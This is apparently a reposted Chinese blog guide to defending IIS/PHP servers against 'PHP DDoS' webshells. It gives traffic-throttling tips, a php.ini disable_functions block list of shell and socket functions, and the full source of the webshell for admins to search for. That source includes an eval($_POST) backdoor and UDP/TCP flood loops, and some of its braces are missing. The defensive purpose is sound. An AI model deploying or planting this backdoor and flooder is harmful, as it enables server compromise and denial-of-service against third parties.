zoukankan      html  css  js  c++  java
  • PHP DDos的几个防御方法详解

    这类攻击有一个最大的特性,就是上传流量霎时增大,通常流量高达数十以至近百M,将整台效 劳器,以至将整台机柜的宽带堵住,使网站无法运转,而这样的攻击,我们无法从远程处理,一但那个phpshell运转,你的宽带将被全部占用,远程都无法 衔接。 

      被攻击后能做的只要联络机房的工作人员,让他进到你的效劳器里把你的IIS关掉,再没查分明是哪个站点被入侵时,尽量一个站点也不要开,以免再 次遭到攻击,怎样看是不是这个攻击呢,不能说关掉ISS好了,就是这种攻击了,而要依据更精确的查看,才能够肯定是什么问题,翻开360平安卫士,然后翻 开功用大全,到里面找到流量防火墙,在这里你能够看到每一个进程的上传和下载流量的几,留意躲藏的系统效劳也要点开看一下,普通都是上传超大才是 phpddos攻击,而且普通都会在w3wp.exe和mysql.exe上传流量会很大,最小也几百M,最大几G,好晓得是这个攻击了,我们就来想方法 处理。 

      处理办法: 

      1.应用360流量防火墙,把w3wp.exe和mysql.exe的上传流量限制一下,依据你效劳器本身宽带的状况停止限制,普通限制在 200—300KB都没什么问题,这样就不怕phpshell发起大流量攻击了,不过这个方法有一个缺陷,就是当你重新启动效劳器时,你之前所限制 w3wp.exe和mysql.exe就不起作用了,要重新限制一下,用这个办法的朋友一定要留意这一点。 

      2.经过更改php运转环境来处理,翻开php.ini找到disable_functions=这项,然后把后面改成 gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen。 将allow_url_fopen = Off,再找到extension=php_sockets.dll这项,把前面加上分号,就是屏蔽掉这项。 

      3.经过查找攻击源处理,批量查找一切网站内能否存在phpshell攻击源代码,源代码为(由于代码太乱以图片方式展现给大家)如图: 

    复制代码
    代码如下:

    <?php 
    eval($_POST[Chr(90)]); 
    set_time_limit(86400); 
    ignore_user_abort(True); 
    $packets = 0; 
    $http = $_GET['http']; 
    $rand = $_GET['exit']; 
    $exec_time = $_GET['time']; 
    if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 

    if(StrLen($_GET['rat'])<>0) 

    echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
    exit; 

    echo "Php 2012 Terminator"; 
    exit; 

    for($i=0;$i<65535;$i++) 

    $out .= "X"; 

    //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
    $max_time = time()+$exec_time; 
    if($rand==53) 
    while(1) 

    $packets++; 
    if(time() > $max_time) 

    break; 

    $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
    if($fp) 

    fwrite($fp, $out); 
    fclose($fp); 


    else 
    if($rand==500) 
    while(1) 

    $packets++; 
    if(time() > $max_time){ 
    break; 

    $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
    if($fp) 

    fwrite($fp, $out); 
    fclose($fp); 


    else 
    while(1) 

    $packets++; 
    if(time() > $max_time){ 
    break; 

    $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
    if($fp) 

    fwrite($fp, $out); 
    fclose($fp); 


    ?> 
  • 相关阅读:
    Servlet深层知识
    HTTP协议
    Web开发中的主要概念
    Schema约束
    连接池基础
    Mysql基础3
    JDBC常用接口详解
    Mysql基础2
    Mysql基础1
    使用12c的DBCA创建数据库的时候报错TNS-04404
  • 原文地址:https://www.cnblogs.com/terryguan/p/6693416.html
Copyright © 2011-2022 走看看